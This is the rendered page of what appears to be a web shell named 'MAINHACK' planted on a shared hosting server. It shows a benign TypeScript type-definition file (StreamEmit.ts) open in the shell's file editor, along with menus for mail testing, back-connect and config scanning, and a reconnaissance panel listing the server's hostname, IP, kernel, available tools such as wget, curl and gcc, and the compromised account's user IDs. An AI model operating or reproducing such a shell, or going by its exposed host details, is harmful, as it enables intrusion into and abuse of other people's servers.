[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: StreamEmit.ts
/** * @since 2.0.0 */ import type * as Cause from "./Cause.js" import type * as Chunk from "./Chunk.js" import type * as Effect from "./Effect.js" import type * as Exit from "./Exit.js" import type * as Option from "./Option.js" /** * An `Emit<R, E, A, B>` represents an asynchronous callback that can be * called multiple times. The callback can be called with a value of type * `Effect<Chunk<A>, Option<E>, R>`, where succeeding with a `Chunk<A>` * indicates to emit those elements, failing with `Some<E>` indicates to * terminate with that error, and failing with `None` indicates to terminate * with an end of stream signal. * * @since 2.0.0 * @category models */ export interface Emit<in R, in E, in A, out B> extends EmitOps<R, E, A, B> { (f: Effect.Effect<Chunk.Chunk<A>, Option.Option<E>, R>): Promise<B> } /** * @since 2.0.0 * @category models */ export interface EmitOps<in R, in E, in A, out B> { /** * Emits a chunk containing the specified values. */ chunk(chunk: Chunk.Chunk<A>): Promise<B> /** * Terminates with a cause that dies with the specified defect. */ die<Err>(defect: Err): Promise<B> /** * Terminates with a cause that dies with a `Throwable` with the specified * message. */ dieMessage(message: string): Promise<B> /** * Either emits the specified value if this `Exit` is a `Success` or else * terminates with the specified cause if this `Exit` is a `Failure`. */ done(exit: Exit.Exit<A, E>): Promise<B> /** * Terminates with an end of stream signal. */ end(): Promise<B> /** * Terminates with the specified error. */ fail(error: E): Promise<B> /** * Either emits the success value of this effect or terminates the stream * with the failure value of this effect. */ fromEffect(effect: Effect.Effect<A, E, R>): Promise<B> /** * Either emits the success value of this effect or terminates the stream * with the failure value of this effect. */ fromEffectChunk(effect: Effect.Effect<Chunk.Chunk<A>, E, R>): Promise<B> /** * Terminates the stream with the specified cause. */ halt(cause: Cause.Cause<E>): Promise<B> /** * Emits a chunk containing the specified value. */ single(value: A): Promise<B> } /** * @since 3.6.0 * @category models */ export interface EmitOpsPush<in E, in A> { /** * Emits a chunk containing the specified values. */ chunk(chunk: Chunk.Chunk<A>): boolean /** * Emits a chunk containing the specified values. */ array(chunk: ReadonlyArray<A>): boolean /** * Terminates with a cause that dies with the specified defect. */ die<Err>(defect: Err): void /** * Terminates with a cause that dies with a `Throwable` with the specified * message. */ dieMessage(message: string): void /** * Either emits the specified value if this `Exit` is a `Success` or else * terminates with the specified cause if this `Exit` is a `Failure`. */ done(exit: Exit.Exit<A, E>): void /** * Terminates with an end of stream signal. */ end(): void /** * Terminates with the specified error. */ fail(error: E): void /** * Terminates the stream with the specified cause. */ halt(cause: Cause.Cause<E>): void /** * Emits a chunk containing the specified value. */ single(value: A): boolean }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344